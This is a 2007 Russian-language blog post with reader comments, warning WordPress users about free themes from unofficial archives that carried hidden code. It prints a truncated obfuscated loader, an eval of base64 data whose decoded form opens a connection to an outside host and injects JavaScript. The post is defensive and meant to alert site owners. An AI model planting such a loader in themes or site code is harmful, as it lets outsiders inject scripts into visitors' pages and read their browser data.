Осторожно! Злая тема… для WordPress!
Вдогонку к предыдущему посту о темах, взгляд с другой стороны, а если быть точным, то пост для тех самых пользователей, которые все эти темы качают.
Вообще, в последнее время очень сильно повысилось количество постов о взломе разных блогов на WordPress’е, а всё потому, что люди забывают обновляться до последней версии. Но даже наличие последней стабильной версии с офф.сайта не даёт гарантий, что вас не “поимеют”.
Недавно на глаза попался пост о интересном способе, который применяют хакеры для получения информации о сайте.
Для тех, кто не очень дружит с ангельским языком, расскажу вкратце о чём там речь:
Некий дизайнер Derek Punsalan сделал темку (а точнее даже несколько) для WordPress и решил их подарить всему миру. В итоге она разлетелась по куче разных тематических архивов, одним из которых был WpSphere. И что вы думаете?
После скачивания и установки с этого сайта, некоторые пользователи заметили, что в тексте страниц находится примерно такой код
@eval(@base64_decode(’aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3Q\
jY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNzci5jb20i\...
Если вы не разбирается в PHP, поясню - такой метод применяется, чтобы скрыть реальный исполняемый код, потому что после декодирования (функция, base64_decode), текст будет выглядеть несколько более подозрительно
if($R37C014DAE5FE4FE5C77B6735ABC30916 =
@fsockopen("www.wpssr.com", 80,
$R32D00070D4FFBCCE2FC669BBA812D4C2,
$R5F525F5B398DADD7CF0784BD406298E3, 3))
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr";...
В результате выполнения этого скрипта, с одного из серверов (я указал лишь часть исходника) подгружался java-script. По словам одного из блоггеров, Пола Кэрола, который проводил исследования по поводу “вредоносности” данного кода, выходит, что ничего плохого не происходило, а Wp-Sphere просто мониторили количество установок тем.
Только вот, несмотря на это, что-то уж через чур большая дыра в безопасности получается, ведь внедряя ява-скрипт на страницу, злоумышленники могут без проблем крутить рекламу, а что более скверно - получить информацию, сохраненную в браузере.
Весь этот пост написан для того, чтобы вы задумались перед установкой очередной темы, скаченой из не проверенных источников. Или, во всяком случае, проверили, что там у неё внутри, а если не можете сами (по причине, что любой код для вас - набор бессмысленных знаков), то попросите того, кто понимает, можно и меня.
И напоследок, к проверенным источникам с лёгкостью могу отнести сайт themes.wordpress.net, ибо официальный, а так же советую ознакомиться с “Кратким руководством по безопасности WordPress” от Максима, скоро постараюсь опубликовать не краткое, а большое и разностороннее.
Мира вам и безопасного интернета и WordPress.
Из той же оперы, так что прочти обязательно:
Метки: blogging, hack, hacking, template, themes, Безопасность, взлом, темы, шаблоны

30 ноября 2007 в 21:30
а это мысль… (шутка ,)
конечно, какому разработчику не хочется знать сколько народу пользуется его работой, но не такими ведь способами….
кхм, а в http://5thirtyone.com/wordpress-foliage-theme я ничего подобного не нашел… быстро работают ,)
ну и напоследок, если не раздражает, ошибка:
Если вы не разбирается в PHP -> Если вы не разбираетесь в PHP
1 декабря 2007 в 1:33
Спасибо за орфо-проверку)
В ворде быстро прогнал, но не успел толком перепрочесть пост. Shame om me…
1 декабря 2007 в 6:54
На макссайте, кстати, проскакивала заметка, что сломали даже блог Аль Гора. Опять же потому, что фиг знает когда он в последний раз обновлялся
1 декабря 2007 в 10:32
photonвот эта заметка
Правда у Гора стоит(стоял) ВП 2.0.4, при том, что последний билд этой линейки уже 2.0.11
1 декабря 2007 в 10:36
Tapac
у вас часто возникает ошибка: “Ошибка: Время истекло. Сервер не отправил вовремя. Попробуйте повторить действие через некоторое время.”, хотя сам коммент добавляется
2 декабря 2007 в 17:07
Привет, как там перевод статьи, про адаптацию тем к 2.3, лично я её очень жду, и не перехожу на 2.3 только из - за этого)
4 декабря 2007 в 13:30
ctapbiu, спасибо, надо плагин “подкрутить”.
masterL, спасибо, что напомнили, а то уже решил, что тема не актуальна. Постараюсь найти побольше материала.
14 декабря 2007 в 13:19
“Ошибка: Время истекло. Сервер не отправил вовремя. Попробуйте повторить действие через некоторое время.” - у меня тоже вылазит!
5 июля 2008 в 3:43
Вечная статья. Точнее - вечно актуальная. В последнее время эти буржуи просто с ума сошли со своими линками - по пять штук лепят. Скоро ещё в хидер зашивать начнут…
Тарас, скажите пожалуйста, Вы можете помочь расшифровать эту нечисть и исключить её из футера? Я даже не о линках парюсь. Мне именно шифровка эта не нравится сильно.
Помогите, пожалуйста! Ссылку обещаю в том же футере.